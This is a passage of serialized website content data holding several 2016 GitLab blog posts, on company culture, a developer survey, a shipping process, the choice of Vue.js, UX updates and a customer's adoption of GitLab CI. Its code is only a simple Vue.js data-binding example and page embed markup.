team paired with the fact that everyone is so talented at what they do, truly creates an incredibly productive environment. I cannot agree more with [general guideline #1](/handbook/):\n\n> Working at GitLab Inc. is cooperating with the most talented people you've ever worked with, being the most productive you'll ever be, and creating software that is helping the most people you've ever reached.\n\nIn less than a week of me working at GitLab, I collaborated with other team members and shipped the first iteration of a new feature, the [compensation calculator](https://handbook.gitlab.com/job-families/engineering/backend-engineer/#compensation) ([!3418](https://gitlab.com/gitlab-com/www-gitlab-com/merge_requests/3418)). That's the fastest progress I've ever encountered in all the companies and internships I've experienced.\n\n## Work-Life Balance\n\nUnfortunately this wow factor also cultivates a dark side. In a startup culture that is so focused, moving so fast and rewards results (all of which are good), it can be easy for me to continue working through lunch or after work. I enjoy working at and on GitLab which makes this all the more difficult (also a good thing). From time to time, it gets very tempting for me to put in extra work during my spare time. Although I know that working continually is only appealing in the short run and unsustainable in the long run, I've had to take extra steps to be more disciplined in this area.\n\nAs of a few weeks ago, I've started to block off my lunch time on my calendar. I tend not to prioritize what I need to do until it is on my schedule, so this helps me discipline my time. This may not work for everyone, it definitely keeps me in check.\n\nIn light of all this, it is reliving that the team at GitLab is very supportive of a [healthy work life balance](/company/culture/all-remote/) and will do all they can to make sure everyone is well taken care of. After all, why else would they ask you to take a [minimum of 2 weeks off](/handbook/paid-time-off/) a year for vacation.\n\nOverall, this first month working at GitLab has been a blast. Working on something that impacts many organizations and has a clear [strategic vision](/company/strategy/) is an absolute thrill. If you think you have what it takes to be a GitLab team-member, check out our [job openings](/jobs/).\n",{"slug":37099,"featured":6,"template":678},"working-at-gitlab-30-days-later","content:en-us:blog:working-at-gitlab-30-days-later.yml","Working At Gitlab 30 Days Later","en-us/blog/working-at-gitlab-30-days-later.yml","en-us/blog/working-at-gitlab-30-days-later",{"_path":37105,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37106,"content":37112,"config":37116,"_id":37118,"_type":16,"title":37119,"_source":17,"_file":37120,"_stem":37121,"_extension":20},"/en-us/blog/global-developer-survey-2016",{"title":37107,"description":37108,"ogTitle":37107,"ogDescription":37108,"noIndex":6,"ogImage":37109,"ogUrl":37110,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37110,"schema":37111},"Global Developer Survey reveals need for more collaborative workflows","New survey examines how modern developers prefer to work.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683917/Blog/Hero%20Images/ee-survey-2016-cover-3.png","https://about.gitlab.com/blog/global-developer-survey-2016","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Global Developer Survey reveals need for more collaborative workflows\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Erica Lindberg\"}],\n        \"datePublished\": \"2016-11-02\",\n      }",{"title":37107,"description":37108,"authors":37113,"heroImage":37109,"date":37114,"body":37115,"category":8943},[28961],"2016-11-02","\n\n{::options parse_block_html=\"true\" /}\n\n\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>&nbsp;&nbsp;\n**TL;DR:** New survey shows 98% of developers use open source tools at work; 92% prefer Git. [Get the full report][report-lp].\n&nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n{: .alert .alert-webcast}\n\nTechnology trends move fast. In the time it takes to build a new program or\nfeature, the very problem you're trying to solve can become obsolete. It's not\njust competitors you're worried about but the rapid pace of advancement in\ntechnology that can pit products within a single company against each other.\nKeep your head down too long on one project, and the rest of the development\nworld has not only moved onto something new, they're using a brand new\nset of tools you've never heard of to build it.\n\n\u003C!-- more -->\n\nRapid acceleration in the technology\nindustry is nothing new. Moore's law predicted this phenomenon as early as 1965\nand over the last 35 years, we've all experienced the overwhelming takeover of\ntechnology, software, and digital devices. What's surprising is there are massive development teams attempting to do revolutionary work at a\nrevolutionary pace, while still using outdated systems and methods of software development.\n\nIn an era where speed and time to market matter most, these technology companies\nare sabotaging their bottom line. In fact, a business analyst at Forrester\nwent so far as to say \"['Evolve or Crumble' is one of the most important things\nyou will read this year.][forrester-blog-odonnell]\"\n\nWhile businesses struggle to keep up with cutting edge systems, processes, and\ntechnologies, developers are demanding the latest development tools and\nmore collaborative ways of working in order to ship code faster. Managers take note:\n\n![infographic](https://about.gitlab.com/images/blogimages/enterprise-survey-2016-infographic.png){: .shadow}\n\nOur survey reveals that the vast majority of developers work with open source tools. A distributed version control system, and more specifically, Git, is the\nmost important tool used in everyday work. Developers have a strong desire to work\nwith the latest tools and methods, yet nearly half say their team doesn't have\na good handle on the latest dev best practices.\n\n## Give Developers What They Want\n\nDevelopers are feeling the pressure to move faster from idea to production.\nUnfortunately, unclear direction and outdated tools and techniques are slowing\ndown the process. Luckily for DevOps and IT managers, there is a strong correlation\nbetween what devs want and what businesses need, but leadership must be willing to\nembrace the changes required to get there.\n\nAt the core of what devs want and what businesses need is a more iterative and\ncollaborative process for software development. Eighty-one percent of developers say that\nchat and collaboration tools (such as Slack, HipChat, etc.) are very or extremely\nimportant to their everyday work. In the brave new world of software development,\nrigid processes are replaced with more natural ways of communicating, which in turn\nimprove the efficiency and speed of a team.\n\n### Conversational Development is the new Agile.\n\nSoftware development methodologies have come a long way over the last few decades:\nScrum replaced the inflexible Waterfall Method, and Agile improved the time-consuming\nmethod of Scrum. Now, as more development teams are distributed globally and the market\ndemands speed and innovation, a more flexible process is needed.\n\nIn our more networked society, communication is instantaneous and constant. With more\nconversations happening in multiple places during the software development lifecycle,\na process that puts conversation at the center is needed.\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Agile development should be conversational development \u003Ca href=\"https://twitter.com/hashtag/RubyConfPT?src=hash\">#RubyConfPT\u003C/a> \u003Ca href=\"https://twitter.com/hashtag/martinfowler?src=hash\">#martinfowler\u003C/a> \u003Ca href=\"https://t.co/z7hrommlUA\">pic.twitter.com/z7hrommlUA\u003C/a>\u003C/p>&mdash; Luísa Lima (@__luisalima__) \u003Ca href=\"https://twitter.com/__luisalima__/status/791574169876045825\">October 27, 2016\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\nConversational Development (ConvDev) is a natural process of accelerating the\ndevelopment lifecycle that threads a conversation through every step of the\ndevelopment process. With ConvDev, gatekeepers become a part of the conversation\nand can monitor the entire process - starting with an idea all the way to production. Cycle time\nis reduced by threading all conversations through every stage of the development lifecycle.\n\nAs developers continue to gain control over the tools they use at work, there will be an\neven greater push to choose open source and Git, and to adopt workflows that are\nnaturally collaborative. Teams that can ship quicker, smaller changes are poised\nto dominate the market.\n\n\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>&nbsp;&nbsp;\n [Get the complete 2016 Enterprise Survey Report here][report-lp].\n&nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n{: .alert .alert-webcast}\n\n\u003C!-- identifiers -->\n\n[forrester-blog-odonnell]: https://go.forrester.com/blogs/16-09-13-tech_vendors_must_evolve_or_crumble_the_report_you_must_read/\n[report-lp]: https://page.gitlab.com/2016-Developer-Survey_2016-Developer-Survey.html\n",{"slug":37117,"featured":6,"template":678},"global-developer-survey-2016","content:en-us:blog:global-developer-survey-2016.yml","Global Developer Survey 2016","en-us/blog/global-developer-survey-2016.yml","en-us/blog/global-developer-survey-2016",{"_path":37123,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37124,"content":37129,"config":37132,"_id":37134,"_type":16,"title":37135,"_source":17,"_file":37136,"_stem":37137,"_extension":20},"/en-us/blog/three-things-i-learned-in-my-first-month-at-gitlab",{"title":37125,"description":37126,"ogTitle":37125,"ogDescription":37126,"noIndex":6,"ogImage":12608,"ogUrl":37127,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37127,"schema":37128},"3 things I learned in my first month at GitLab","Adapting to life at GitLab--marketing edition!","https://about.gitlab.com/blog/three-things-i-learned-in-my-first-month-at-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"3 things I learned in my first month at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily von Hoffmann\"}],\n        \"datePublished\": \"2016-11-02\",\n      }",{"title":37125,"description":37126,"authors":37130,"heroImage":12608,"date":37114,"body":37131,"category":6634},[22017],"\n\nI rang in my first month at GitLab in spectacular fashion, by meeting up with team members for our NYC [World Tour](/blog/world-tour-amplify-your-code/) stop. The only real surprise in meeting team members in person — after weeks of daily Hangouts — is height (hopefully by force of my personality, several people remarked they thought I’d be taller.) Here are some other big takeaways from my time here so far. \n\n\u003C!-- more -->\n\n## MVC applies even to marketers\n\nThe product team at GitLab lives and breathes the principle of [“Minimum Viable Change”](/handbook/product/product-principles/#the-minimal-viable-change-mvc) (MVC). This meant nothing to me in my day-to-day as a writer and marketer, until I joined GitLab and got an engineer as my team lead. We don’t apply the exact same language and principles to our content projects, but I believe that the spirit of MVC still informs our work. For example, our team lead Sean [explained](/blog/how-we-ship-so-quickly/) his simple test for reviewing our merge requests — he asks himself, “is this better than what was here before?” If the answer is ‘yes’, it gets approved. We now operate with the attitude that it’s better to jump in and do the work, than ask for approval, which not only makes us faster but increases our sense of agency over projects. We don’t need to establish consensus among innumerable team members before making a documentation or handbook update live on the site; if someone thinks of an improvement, they create a subsequent merge request, and the same rule applies. This feels like a radical way for a team of writers to work, but so far it’s all upside. \n\n## Feedback flows thick and fast\n\nBecause we work remotely and with relentless transparency, it occasionally happens that an issue thought to be uncontroversial develops an accordion-like comment section. We have team members in [34 countries](/company/team/), with a vast range of first languages, professional backgrounds, and experience levels, but the same intense drive to make GitLab better every day. I quickly learned to never read into perceived “tone” online, because nearly 100 percent of the time, questions are asked in earnest by team members and users who want to be sure they understand. By the time I experienced this, Sytse our CEO had armed me with a mantra for just such an occasion, and I repeat it to myself with abandon: *“If you’re getting feedback you’re doing it right...if you’re getting feedback you’re doing it right...if you’re getting feedback you’re doing it right.”* As a new employee, this also empowers me to chime in with my own questions, and I trust that my team members will always let me know how I’m doing.  \n\n## Intimidation is your only enemy\n\nThe first (open) secret I learned during my time here is that learning Git basics is pretty easy. Checking out a new branch, tracking a file, committing changes, pulling from and pushing to the origin – these are the only functions I needed to master to do routine marketing tasks, and they became no problem after a day or two. Every non-technical person at GitLab could likely write a similar story about trepidation and triumph, because we have to successfully apply these commands to complete our [onboarding](/handbook/people-group/general-onboarding/) process. I haven’t since experienced the level of apprehension I felt when I opened up the terminal on my first day; the same applies to when I created my first issue and puzzled through the norms of our [workflow](https://docs.gitlab.com/ee/topics/gitlab_flow.html). It’s also really true that gamifying anything is an awesome way to learn (my favorite right now is [ShortcutFoo](https://www.shortcutfoo.com/app/dojos/git).) This is not to disrespect the amazing work the developers on our team do; myself and another team member are starting to learn Ruby, and I’m sure I’ll have complicated feelings to report on that later.\n\nUntil then, git at us on [Twitter](https://twitter.com/gitlab?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor), check out our [job openings](/jobs/), or add to our [issue tracker](https://gitlab.com/gitlab-org/gitlab-ce/issues).\n",{"slug":37133,"featured":6,"template":678},"three-things-i-learned-in-my-first-month-at-gitlab","content:en-us:blog:three-things-i-learned-in-my-first-month-at-gitlab.yml","Three Things I Learned In My First Month At Gitlab","en-us/blog/three-things-i-learned-in-my-first-month-at-gitlab.yml","en-us/blog/three-things-i-learned-in-my-first-month-at-gitlab",{"_path":37139,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37140,"content":37145,"config":37149,"_id":37151,"_type":16,"title":37152,"_source":17,"_file":37153,"_stem":37154,"_extension":20},"/en-us/blog/how-we-ship-so-quickly",{"title":37141,"description":37142,"ogTitle":37141,"ogDescription":37142,"noIndex":6,"ogImage":17364,"ogUrl":37143,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37143,"schema":37144},"My first weeks at GitLab: How we ship so quickly","How we move so quickly and create so much at GitLab","https://about.gitlab.com/blog/how-we-ship-so-quickly","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"My first weeks at GitLab: How we ship so quickly\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sean Packham\"}],\n        \"datePublished\": \"2016-10-24\",\n      }",{"title":37141,"description":37142,"authors":37146,"heroImage":17364,"date":37147,"body":37148,"category":6634},[36251],"2016-10-24","\n\nAbout two months ago I joined GitLab and in that time I have seen two new releases,\nhad the quickest and smoothest team onboarding I have ever had,\npushed dozens of changes and\nhave gotten to know almost everyone in GitLab.\nSo how do we move and ship so quickly at GitLab?\n\n\u003C!-- more -->\n\n## 1. Communication\n\nAt GitLab we are a [remote-only](http://remoteonly.org/) company which means communication is essential.\n\n### The GitLab Handbook\n\nWe have to diligently record and document knowledge to be efficient.\nThe result is if you ask any GitLab team-member an organizational question\nthe answer is always \"It's in the handbook.\"\nOur [handbook](/handbook/) is public, copy it, adapt it and make it your own.\n\n> \"It's in the handbook\" - Everyone who's been at GitLab for more than two weeks\n\n### Reporting\n\nSid, our CEO, believes everyone deserves only one manager to report to\nso that they easily know what needs to be done.\nWant to know how GitLab is structured?\nTake a look at our [team page](/company/team/) and\n[organizational chart](/company/team/structure/org-chart/).\n\n> \"Everyone deserves only one manager\" - Sid Sijbrandij (CEO)\n\n### Meetings\n\nAt GitLab we have a number of essential meetings mostly for keeping up-to-date\nwith teams and getting to know everyone:\n\n- Weekly or biweekly one-on-one meetings with your manager\n  to align priorities and get guidance.\n- Weekly standups with your immediate team to review what was done and what is next.\n- Monday to Thursday team call with everyone at GitLab to receive important updates\n  and get to know the team by sharing stories of what we did the past weekend.\n- One-on-one coffee break calls to get to just have a chat.\n\nHearing what other team members did on their weekends and sharing my stories\nhas been an extremely valuable experience. In a matter of weeks I have gotten\nto know most of the team quicker than anywhere else I've worked.\nI hear personal stories from people in all departments where normally\npeople tend to socialize within their department.\n\n## 2. Focus\n\nMy team and I were fortunate to get a lot of time\nwith Sid during my first few weeks at GitLab and\nSid gave us the following simple productivity steps:\n\n1. Pick the next smallest thing you need to do.\n1. Don't over engineer for a future that might not exist.\n1. Don't do massive restructures (do step 1.)\n1. If it is better than what is there, merge it!\n\nOver my years in software development I have notice that people\nover discuss ideas instead of acting.\nAt GitLab each person knows what their objectives are because they have only one manager,\nthis means individuals can own their work, make the change and then discuss it.\nThe smaller the change, the less discussion there will be and then move to step 4 - merge it!\n\n## 3. Iteration\n\nThe final thing that ties together our communication and focus is iteration.\nGitLab has always shipped a new version on the\n22nd of every month no matter the day of the week.\n\n> I think that Gitlab already took a part of the market from Github and\n  that this progression is going to continue thanks to the\n  incredible rate at which the product is developed.\n  The existing features and the ones that are coming are\n  going to make Gitlab an even more central tool than it is today.\n  It is probable that, in a few months, we will not need\n  anything more than Gitlab to manage the whole lifecycle of a project. - Théo Chamley\n  [MrTrustor's Shiny Blog: Gitlab's Master Plan](http://blog.mrtrustor.net/post/gitlab-grand-master-plan/)\n\nIterations is so important to us that we built\n[Cycle Analytics](/solutions/value-stream-management/) to\nallow anyone to measure how long it takes them to get from [Idea to Production](https://www.youtube.com/watch?v=t_rB1oQdG98),\nwith GitLab its a matter of minutes!\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/t_rB1oQdG98\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n\u003Cbr>\n\nIf you would like to be part of the GitLab team and\ncontribute to our culture and tools take a look our\n[jobs page](/jobs/).\n",{"slug":37150,"featured":6,"template":678},"how-we-ship-so-quickly","content:en-us:blog:how-we-ship-so-quickly.yml","How We Ship So Quickly","en-us/blog/how-we-ship-so-quickly.yml","en-us/blog/how-we-ship-so-quickly",{"_path":37156,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37157,"content":37162,"config":37166,"_id":37168,"_type":16,"title":37169,"_source":17,"_file":37170,"_stem":37171,"_extension":20},"/en-us/blog/why-we-chose-vue",{"title":37158,"description":37159,"ogTitle":37158,"ogDescription":37159,"noIndex":6,"ogImage":17364,"ogUrl":37160,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37160,"schema":37161},"Why we chose Vue.js","Why GitLab went with Vue.js","https://about.gitlab.com/blog/why-we-chose-vue","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why we chose Vue.js\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jacob Schatz\"}],\n        \"datePublished\": \"2016-10-20\",\n      }",{"title":37158,"description":37159,"authors":37163,"heroImage":17364,"date":37164,"body":37165,"category":734},[31897],"2016-10-20","\n\nI had a great conversation with an interviewee a few weeks ago about how one\nshould go about choosing a JavaScript framework.\n\nHe pointed out that when a major software company releases their secret sauce,\nthere is going to be hype. Devs think to themselves, \"That company writes JS\ndifferently than me, and they are prominent and successful. Is their way of\nwriting JS better than mine? And therefore must I adopt it?\"\n\nTheir secret sauce may be awesome, but don't assume awesomeness just because everyone else gets excited. You wouldn't copy and paste an answer from StackOverflow, without understanding it, so why copy and paste an entire framework?\n\nWhich brings me to our decision to use [Vue.js](https://vuejs.org/) at GitLab.\n\n## Simplicity and ease of use\n\nPrimarily what drew us to Vue.js is that it allows our team to _easily_ write _simple_\nJavaScript. Getting started with Vue.js is extremely easy. Its [source code](/solutions/source-code-management/) is\nvery readable, and the documentation is the only tutorial you'll ever need. You\ndon't need external libraries. You can use it with or without jQuery. You won't\nneed to install any plugins, though many are available. I like vanilla Vue.js\npersonally, although I can reach for vue-resource when I need it. Hooking Vue.js\nup to existing code is very straightforward. There's no magic to Vue.js -- it's `Object`s\nall the way down.\n\nI talk to a lot of JavaScript devs and I find it really interesting that the ones who\nspend the most time in Angular tend to not know JavaScript nearly as well. I don't want\nthat to be me or our devs. Why should we write \"not JavaScript?\"\n\nI remember back when I was using Backbone, I had to really force myself to stay\nDRY, because it's really a blank canvas. Vue.js does not make large assumptions\nabout much of anything either. It really only assumes that your data will change.\n\nBut Vue.js comes with the perfect balance of what it will do for you and what you\nneed to do yourself. If Backbone was anarchy (no one in charge) and Angular is a\ndictatorship (the Angular team is in charge), I'd say Vue.js is like socialism: you\nare definitely in charge, but Vue.js is always within reach, a sturdy, but\nflexible safety net ready to help you keep your programming efficient and your\nDOM-inflicted suffering to a minimum.\n\nTo give you an idea of what I mean, here's a simple\n[Codepen](http://codepen.io/jschatz1/pen/dpQkpx):\n\n```html\n\u003Cdiv id=\"journal\">\n  \u003Cinput type=\"text\" v-model=\"message\">\n  \u003Cdiv>{{message}}\u003C/div>\n\u003C/div>\n```\n\n```javascript\nvar journal = new Vue({\n  el: '#journal',\n  data: {\n    message: 'Your first entry'\n  }\n});\n```\n\nIf you've seen a few JavaScript libraries, it's not hard to understand everything in\nthis example without any documentation. And usually with other frameworks, this is\nwhere the simplicity stops. You get nice, simple examples when you're \"Getting\nstarted\", but in reality things get complicated as soon as you to try to get\nyour money's worth out of the framework. Not with Vue.js though -- real-life usage\nseems to stay as simple as the docs.\n\nAnd that is what we love about Vue.js: it's an elegant combination of structure\nand simplicity. The data for the view goes in an object called `data`, but the\ndata can get there and look however you want. Any functions you'll write as\ncallbacks for events go into a `methods` object, but they can do or return whatever\nyou want. Vue.js just knows when things change and updates your views. And you write less code.\n\n## Vue.js + GitLab === Less code\n\nSo what problem does this solve for GitLab? When I joined, all the JavaScript was written\nwith JQuery. There is nothing _wrong_ with that, except that it takes a lot\nmore code to solve every problem. We knew we could do better. Once we started with\nVue.js, we could immediately and consistently solve complex problems in much less time.\n\nA simple, but practical example we're using in production: on a GitLab\nIssue, the issue's state is displayed as either `closed` or `open`. That\nsimple value can change often and needs to be represented in several views.\nWith JQuery, we had about 30 or so lines of code to propagate those changes, and\nthose lines involved multiple classes and querying the DOM by hand.\n\nIn Vue.js, this now requires us to write one line of JavaScript. The only other code\nwe add is in the HTML, and that's just a few additional attributes.\n\nWhat [Evan You](https://twitter.com/youyuxi) knows is that creating a kick ass framework isn't just about\nwriting great code. You need excellent documentation, a strong community helping each other\nlearn, a supporting cast of libraries and plugins to help users solve the hard problems,\nand short feedback loops based on user feedback to keep the framework relevant. Vue.js is all\nof that, *plus* great code. That's why we're using it. What about you?\n\n## Watch the Why We Chose Vue.js webcast\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/ioogrvs2Ejc\" frameborder=\"0\" allowfullscreen>\u003C/iframe>\n",{"slug":37167,"featured":6,"template":678},"why-we-chose-vue","content:en-us:blog:why-we-chose-vue.yml","Why We Chose Vue","en-us/blog/why-we-chose-vue.yml","en-us/blog/why-we-chose-vue",{"_path":37173,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37174,"content":37180,"config":37185,"_id":37187,"_type":16,"title":37188,"_source":17,"_file":37189,"_stem":37190,"_extension":20},"/en-us/blog/gitlab-ux-update",{"title":37175,"description":37176,"ogTitle":37175,"ogDescription":37176,"noIndex":6,"ogImage":37177,"ogUrl":37178,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37178,"schema":37179},"GitLab UX update","Inside GitLab: Sneak peek of what the UX Team is working on","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684147/Blog/Hero%20Images/gitlabdesign-cover-image.jpg","https://about.gitlab.com/blog/gitlab-ux-update","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab UX update\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Allison Whilden\"}],\n        \"datePublished\": \"2016-10-19\",\n      }",{"title":37175,"description":37176,"authors":37181,"heroImage":37177,"date":37183,"body":37184,"category":299},[37182],"Allison Whilden","2016-10-19","\n\nThe UX Team at GitLab has been hard at work, and I'm delighted to share a sneak peek of some of their designs. While more details will be shared when the various features ship, hopefully this quick update will help you get excited for what is in the works. The designs below share some of what the UX Team is currently focused on, with a mix of features for both 8.13 and future releases.\n\n\u003C!-- more -->\n\n## What we've been working on:\n\n### Better Empty States\n\nEmpty states are easy to forget about. However, they can be great moments to celebrate an accomplishment (you finished all of your [Todos][todo-empty-state]!) or explain a concept (when to use a [group][group-empty-state]).\n\n![Better Empty States](https://about.gitlab.com/images/blogimages/ux-update-2016-10/empty-states.png)\n\n### Rethinking Filtering and Searching\n\nToday we have a rich set of filters and search options, allowing you to find exactly what you are looking for. However, you have to jump between many dropdowns, and can't always build the complex query you are looking for. We are actively working on combining the controls into a [streamlined, powerful search][rethinking-filters] flow.\n\n![Rethinking Filtering and Searching](https://about.gitlab.com/images/blogimages/ux-update-2016-10/rethinking-filtering.png)\n\n### Tracking Time\n\nLarge companies need to understand the cost of work and use of their resources. One aspect of this is [tracking time][time-tracking] spent on issues. Using slash commands, you can now easily estimate the time needed for an issue, and keep track of time spent as you work on it.\n\n![Time tracking](https://about.gitlab.com/images/blogimages/ux-update-2016-10/time-tracking.png)\n\n### Building upon Cycle Analytics\n\nWith the next iteration of [Cycle Analytics][cycle-analytics], we are helping break down each of the stages into events that data was gathered from. It is now much easier to see how the information is being put together, and exactly where your time is going.\n\n![Cycle Analytics](https://about.gitlab.com/images/blogimages/ux-update-2016-10/cycle-analytics-v2.png)\n\n### Refining the Review Apps Experience\n\nWe are continuing to polish our Review Apps experience, allowing you to [stop apps][stop-review-apps], and [group environments][group-environments].\n\n![Review App experience refinements](https://about.gitlab.com/images/blogimages/ux-update-2016-10/review-apps.png)\n\n## What's Next?\n\nWe are already jumping into more work, from [standardizing and cleaning up our many settings pages][settings], to adding such useful visuals as [burndown charts][burndown]. We are also digging into large open question such as refining the [personality][personality] of GitLab.\n\nWe love getting feedback! Please share your thoughts on the designs by commenting below, joining the discussions in any of the issues linked above, or opening a [new issue][new-issue] to let us know what else we should consider. Thanks!\n\n## Acknowledgments\n\nThe design work on this page was created by [Hazel Yang][hazel], [Chris Peressini][chris], [Dimitrie Hoekstra][dimitrie], [Pedro Moreira da Silva][pedro], and [Taurie Davis][taurie]. Thanks for all of your great work!\n\n\n\n\n\u003C!-- identifiers -->\n[burndown]: https://gitlab.com/gitlab-org/gitlab-ee/issues/91\n[chris]: https://twitter.com/ChrisPeressini\n[cycle-analytics]: https://gitlab.com/gitlab-org/gitlab-ce/issues/22458\n[dimitrie]: https://twitter.com/dimitrieh\n[group-empty-state]: https://gitlab.com/gitlab-org/gitlab-ce/issues/20829\n[group-environments]: https://gitlab.com/gitlab-org/gitlab-ce/issues/22539\n[hazel]: https://twitter.com/hazelyuyang\n[new-issue]: https://gitlab.com/gitlab-org/gitlab-ce/issues/new\n[pedro]: https://twitter.com/pedromscom\n[personality]: https://gitlab.com/gitlab-org/gitlab-ce/issues/22192\n[rethinking-filters]: https://gitlab.com/gitlab-org/gitlab-ce/issues/21747\n[settings]: https://gitlab.com/gitlab-org/gitlab-ce/issues/22171\n[stop-review-apps]: https://gitlab.com/gitlab-org/gitlab-ce/issues/22191\n[taurie]: https://twitter.com/tauried\n[time-tracking]: https://gitlab.com/gitlab-org/gitlab-ee/issues/985\n[todo-empty-state]: https://gitlab.com/gitlab-org/gitlab-ce/issues/20833\n",{"slug":37186,"featured":6,"template":678},"gitlab-ux-update","content:en-us:blog:gitlab-ux-update.yml","Gitlab Ux Update","en-us/blog/gitlab-ux-update.yml","en-us/blog/gitlab-ux-update",{"_path":37192,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37193,"content":37199,"config":37204,"_id":37206,"_type":16,"title":37207,"_source":17,"_file":37208,"_stem":37209,"_extension":20},"/en-us/blog/gitlab-ci-oohlala",{"title":37194,"description":37195,"ogTitle":37194,"ogDescription":37195,"noIndex":6,"ogImage":37196,"ogUrl":37197,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37197,"schema":37198},"Why we chose GitLab CI for our CI/CD solution","Find out why we choose GitLab CI and what we've found through our experience using it.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684084/Blog/Hero%20Images/gitlab-ci-oohlala-cover.png","https://about.gitlab.com/blog/gitlab-ci-oohlala","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why we chose GitLab CI for our CI/CD solution\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"James Dang\"}],\n        \"datePublished\": \"2016-10-17\",\n      }",{"title":37194,"description":37195,"authors":37200,"heroImage":37196,"date":37202,"body":37203,"category":299},[37201],"James Dang","2016-10-17","\n\n\nAt [OOHLALA Mobile][oohlala], our testing and deployment of code is done\nthrough Fabric, essentially a set of Python scripts (called “fabfiles”) that\nare executed on various servers. Recently, we started looking for a [CI/CD solution][ci-cd]\nthat help manage our fabfile deployment system, which is growing\nmore complex each day. In the end, we went with [GitLab CI][gitlab-ci], and here’s what we\nfound through our experience.\n\n## Simple to Use\nSince the bulk of the work is done in Fabric, the CI/CD solution can be very simple,\nas it only needs to be able to execute fabfiles. GitLab CI’s shell executor is perfect\nfor this. The complexities of other solutions (e.g. Jenkins) are unnecessary for us.\n\n## Fast\n\nWe will be using the system for all code deploys, including development and QA environments,\nso the [CI/CD system](/topics/ci-cd/) needs to be fast, to keep up with the fast-paced changes required for\ndevelopment. Primarily Docker based solutions, such as CircleCI, took considerably longer\nto run due to the dependency set up stage. With GitLab CI, we can set up our own runner\nwith all dependencies pre-installed, and **jobs are executed really fast**.\n\nWe would like to have a solution that can be installed on arbitrary hardware, specifically\nour own dedicated macOS and Windows machines that perform our mobile app CI/CD for iOS and\nAndroid respectively. The reasoning is that in the future we may use the same CI/CD service\nfor our mobile teams as well. GitLab CI can do this for free, as we can simply install GitLab\nrunners on our dedicated machines. Other CI solutions (e.g. Travis CI, CircleCI etc.)\ndo offer mobile CI/CD solutions, but will not meet our requirements since we need our in-house\nbuild and deploy scripts on dedicated hardware to effectively manage the hundreds of mobile apps that we maintain.\n\n## Economical and Secure\n\nThe solution should be relatively economical, especially since our development team\nis still relatively small. Most CI solutions are relatively expensive (e.g. Travis\nCI starts at $129/month minimum), and the ones that have free tiers are very\nlimited in capacity (e.g. CircleCI and Shippable both allow only 1 concurrent\njob on their free tier). GitLab CI only costs as much as the machine used to run it,\nwhich is very flexible (a $40/month DO instance can run many concurrent jobs without issue).\n\nIdeally (i.e. not a hard requirement), we would like to keep all SSH private keys\nwithin our own infrastructure for better security. With most other CI solutions,\nwe would have to hand them the private keys for all the servers we need to deploy to.\nWith GitLab CI, the keys are stored on the CI runner instance, which is hosted by us\nand fully under our control.\n\nIn the end, we actually chose to host our code on [GitLab.com][gitlab-com], because of the seamless\nintegration with GitLab CI. There weren’t any major differences in features\n(at least ones that we wanted) in the repository hosting solutions we looked at\n(GitHub, Gogs, and GitLab mostly), and the CI solution made the choice easier.\n\n## About the author\n\nJames Dang is the co-founder the CTO of [OOHLALA Mobile][oohlala], an education technology\ncompany building the mobile platform for universities and colleges to connect and\nengage with their students.\n\n\u003C!-- identifiers -->\n\n[ci-cd]: /blog/continuous-integration-delivery-and-deployment-with-gitlab/\n[gitlab-ci]: /solutions/continuous-integration/ [gitlab-com]: https://gitlab.com/\n[oohlala]: https://oohlalamobile.com/\n[oohlala-jobs]: https://oohlalamobile.com/jobs/\n",{"slug":37205,"featured":6,"template":678},"gitlab-ci-oohlala","content:en-us:blog:gitlab-ci-oohlala.yml","Gitlab Ci 